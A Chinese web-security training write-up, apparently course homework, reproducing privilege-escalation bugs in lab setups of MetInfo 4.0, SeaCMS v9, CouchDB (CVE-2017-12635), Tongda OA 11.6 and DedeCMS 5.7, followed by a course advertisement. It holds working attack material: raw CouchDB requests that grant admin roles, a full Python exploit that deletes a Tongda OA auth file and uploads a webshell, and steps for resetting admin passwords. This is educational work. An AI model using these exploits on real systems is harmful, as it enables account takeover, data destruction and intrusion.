文章来源|MS08067 Web安全漏洞挖掘实战班作业
本文作者:绿冰壶(Web漏洞挖掘实战班3期学员)
0x01 前言:越权访问漏洞概念简析
”授权“与“验证”
了解越权访问的概念,首先要了解授权和验证的概念:授权是指网站赋予特定人对网站特定资源的读写权限。而验证是网站用于检查操作者是否真的可以对特定资源进行读写
“未授权访问”
未授权访问是指用户在没有通过认证授权的情况下,能够直接访问需要通过认证才能访问到的页面或文本信息。
那么,什么是越权漏洞?
由于没有对用户权限进行严格的判断,导致低权限的账号(比如普通用户)可以去完成高权限账号(比如超管)范围内的操作,如果能够成功操作,则称之为越权操作。越权漏洞形成的原因是后台使用了 不合理的权限校验规则导致的。
越权漏洞的产生原因
开发人员在对数据进行操作时对客户端请求的数据过分相信,遗漏了对于客户端权限的仔细判定。
越权漏洞常见位置
1.修改、重置、找回其他账户密码
2.查看、修改其他账户未公开的信息,例如个人资料、文件、数据、程序等
3.与账户关联的权限操作
0x02 越权访问漏洞的两大分类
越权漏洞主要分为水平越权和垂直越权两大类。
水平越权:同级别(权限)的用户或者同一角色的不同用户之间,可以越权访问、修改或者删除的非法操作。如果出现此漏洞,那么将可能会造成大批量数据泄露,严重的甚至会造成用户信息被恶意篡改。
例如两个不同的公司A和B,通过修改请求,公司A可以任意修改B公司的员工、部门、考勤等信息。
垂直越权:指使用权限低的用户可以访问权限较高的用户
垂直越权危害:
• 向上越权:普通用户可以执行管理员权限,比如发布文章、删除文章等操作。
• 向下越权:一个高级用户可以访问低级用户信息(暴露用户隐
例如同一个公司的职员A和经理B。显然他们在公司后台管理系统中账号的管理权限不同。垂直越权通过修改请求,职员A可以修改不在他管辖范围内的员工、考勤、工资等(自我加薪??)
关于如上介绍的总结话,偷我亲爱的来自MS08067团队的讲师一张图是再好不过了
0x03 越权访问漏洞实战课内复现
水平越权
metinfoV4.0越权漏洞复现
环境准备:
下载metinfoV4.0CMS源码进行网站搭建
•下载地址:https://www.metinfo.cn/upload/file/update/MetInfo4.0.zip
•其他版本下载地址:http://www.metinfo.cn/upload/file/update/MetInfox.x.x.zip(将x.x.x改成对应版本即可)
•源码:MetInfo4.0.zip
下载后将源码解压至phpstudy的web根目录即可。
解压完毕后利用浏览器访问网站地址进入安装目录创建普通用户进行登录
登陆后进入修改基本信息的页面,随便修改一个密码,点击提交信息的同时上传
抓包修改useid为管理员id
成功修改管理员账号密码为123456,尝试登陆
成功登陆,在界面风格->模板管理->添加新模板处发现一处文件上传漏洞。将冰蝎木马压缩成zip文件成功上传
查看一下编辑模板参数,报错是在意料之中的,我们需要的是木马路径
使用冰蝎服务器端连接木马。成功执行
海洋cms v9 越权漏洞
环境准备:
https://github.com/seacms/seacms-v9下载seacms9.0版本的源码。还是使用php部署,部署过程非常简单。注意php+mysql的版本一般就是一路绿灯。
复现该漏洞需要注册两个网站账号
[email protected]/123456
2.ms08067/123456
漏洞复现:
分别用chrome 和微软两个浏览器登陆这两个账号
通过抓包,获取ms08067用户的phpsessid为:df9jjuneuuqo5hgjjsid106km4
在另一账号[email protected]的修改密码操作上抓包,并将sessid修改为ms08067账号的sessid。尝试更改密码为123456789。放包,显示修改成功。
尝试使用新密码登陆ms08067账户,发现登陆成功。
垂直越权
Couchdb 垂直权限绕过漏洞(CVE-2017-12635)
漏洞描述:
Apache CouchDB是一个开源数据库,专注于易用性和成为”完全拥抱web的数据库”。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。
在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露,CVE-2017-12636是一个任意命令执行漏洞,我们可以通过config api修改couchdb的配置query_server,这个配置项在设计、执行view的时候将被运行。
影响版本:小于 1.7.0 以及 小于 2.1.1
环境搭建:
使用虚拟机安装docker,vulhub cd vulhub/couchdb/CVE-2017-12635 #进入靶场目录docker-compose up -d #开启靶场docker ps #查看端口
一个小报错处理:
p.s:运行命令docker-compose up -d这里出现了一个报错。百度搜了一波,发现这是由于当前用户未加入docker组。解决方案是运行命令
sudo gpasswd -a ${USER} docker
然后退出当前用户比如切换为root,再次切换回原用户。然后执行docker-compose up -d就ok了。
漏洞原理分析:
由于Erlang和JavaScript对JSON解析方式的不同,导致语句执行产生差异性(对于给定的键,Eralang解析器将存储两个值,但是JavaScript只存储第二个值)
如:
Erlang:
jiffy:decode(“{“a”:”1″, “a”:”2″}”).
{[{<<“a”>>,<<“1”>>},{<<“a”>>,<<“2”>>}]}
JavaScript:
JSON.parse(“{“a”:”1″, “a”: “2”}”)
{a: “2”}
可以被利用于,非管理员用户赋予自身管理员身份权限。
参考文章:https://cloud.tencent.com/developer/article/1144778
漏洞复现:
访问服务器ip:5984并抓包
将抓到的包发送给重发器(Repeater)并将发送数据改为如下(服务器IP地址为自己搭建的IP):
PUT /_users/org.couchdb.user:qaq HTTP/1.1Accept: /Host: 192.168.160.141:5984/Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0Content-Type: application/jsonConnection: closeContent-Length: 101{"type": "user","name": "qaq","roles": ["_admin"],"password": "666666"}
返回403错误:{“error”:”forbidden”,”reason”:”Only _admin may set roles”}报错原因是只有管理员才能设置Role角色。通过增加一个roles字段数据包的方式绕过限制
PUT /_users/org.couchdb.user:qaq HTTP/1.1Accept: /Host: 192.168.160.141:5984/Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0Content-Type: application/jsonConnection: closeContent-Length: 101{"type": "user","name": "qaq","roles": ["_admin"],"roles":[],"password": "666666"}
通过新创建的用户qaq/666666成功登录
复现完记得销毁环境哦~目录中执行命令
docker-compose down -v
0x04 越权访问漏洞课外复现:
通达OA11.6版本越权漏洞复现
环境搭建:
现在通达官网已经把版本升级到了11.7,所以下载11.6版本需要自己寻找资源
傻瓜式安装,配置界面如下。完成安装之后就可以暂时不用管它了。记得接触80端口占用(一般是要把phpstudy关掉)
安装完之后就可以访问网站首页了。这个漏洞复现手动过程比较容易,执行exp 写马就可以了
exp:
脚本内容如下,核心思路就是删除网站里的一个名为auth.inc.php的文件,进而越权拿shell
import requests#填写iptarget="http://ip/"#一句话木马的密码是qaqpayload=""print("[*]Warning,This exploit code will DELETE auth.inc.php which may damage the OA")input("Press enter to continue")print("[*]Deleting auth.inc.php....")#删除网站里的一个名为auth.inc.php的文件url=target+"/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php" requests.get(url=url)print("[*]Checking if file deleted...")url=target+"/inc/auth.inc.php"page=requests.get(url=url).textif 'No input file specified.' not in page: print("[-]Failed to deleted auth.inc.php") exit(-1)print("[+]Successfully deleted auth.inc.php!")print("[*]Uploading payload...")url=target+"/general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.<>./.<>./.<>./"files = {'FILE1': ('deconf.php', payload)}requests.post(url=url,files=files)url=target+"/_deconf.php"page=requests.get(url=url).textif 'No input file specified.' not in page: print("[+]Filed Uploaded Successfully") print("[+]URL:",url)else: print("[-]Failed to upload file")
注意,该EXP不是无损EXP,会删除auth.inc.php让OA无法正常工作
蚁剑拿shell:
程序执行之后出现了一个URL,为一句话木马所在位置。使用webshell管理工具(如蚁剑链接即可)
dedecms v5.7越权漏洞复现
环境搭建:
利用phpstudy搭建,下载源码后copy进根目录安装即可
用户名admin 密码admin进入后台,系统设置->系统基本参数->会员设置 将是否开启会员功能一栏调为是
接着返回网站主页,注册一个账号,记得不要设施安全提示问题
接着回到后台将等待验证邮件修改为:”审核通过,提示填写完整信息”
进入 test123用户的个人中心,打开bp抓包,将DedeUserID_ckMD5覆盖为last_vid_ckMd5。修改完成后释放该包
此时发现test123用户变成了admin
使用F12打开控制台,进入储存,仍然是将DedeUserID_ckMD5覆盖为last_vid_ckMd5。将DedeUserID的值修改为test123.
刷新抓包,发送至repeater
将location后的网址从http://ip/dedecms/member/resetpassword.php?dopost=getpasswd&id=1&key=gLZ6wS4E改为http://ip/dedecms/member/resetpassword.php?dopost=getpasswd&;id=1&key=gLZ6wS4E
关闭代理访问即可修改管理员账户密码
0x05 后记
越权漏洞的产生归根究底,还是由于网站开发者和管理者授权意识的淡薄,授权的滥用。因此,授权应当遵守如下几条原则:
1.使用最小权限原则对用户进行赋权,对待权限做一只一毛都不多拔的铁公鸡
2.使用合理(严格)的权限校验规则;
3.使用后台登录状态作为条件进行权限判断(别动不动就瞎用前端传进来的条件)
0x06 参考链接
https://blog.csdn.net/szming_/article/details/85317010
https://blog.csdn.net/weixin_44288604/article/details/108144165
Web漏洞挖掘第3期 火爆报名中~
第三期,主要突出了学员最关心的“实战打靶”练习,第三期我们新增加了快速打点方法+脚本思路、打靶机模拟实战等内容,并配备了专门的“实战靶场”以供同学们练习!
最新课程目录3.0版
*大纲仅作为参考,会根据当期进度有所变化(加客服获取高清课程导图)
课程费用
每期班定价2499,插班价:1999(转发朋友圈送399元Web安全知识星球名额)
每个报名学员都可享受一次后续任意一期课免费重听权益,一次没学懂就再来一遍,后续培训可任选一期来听。请有意参加培训的学员抓紧报名!
凡是MS08067旗下任意星球学员或其他培训课程学员,可享内部VIP价1799;
支持支付宝、信用卡、花呗分期,对公转账,可开发票!
第二期班部分学员作业
上课时间
上课方式
你距离大佬,只差一个决定
报名咨询请联系小客服
扫描下方二维码加入星球学习
加入后邀请你进入内部微信群,内部微信群永久有效!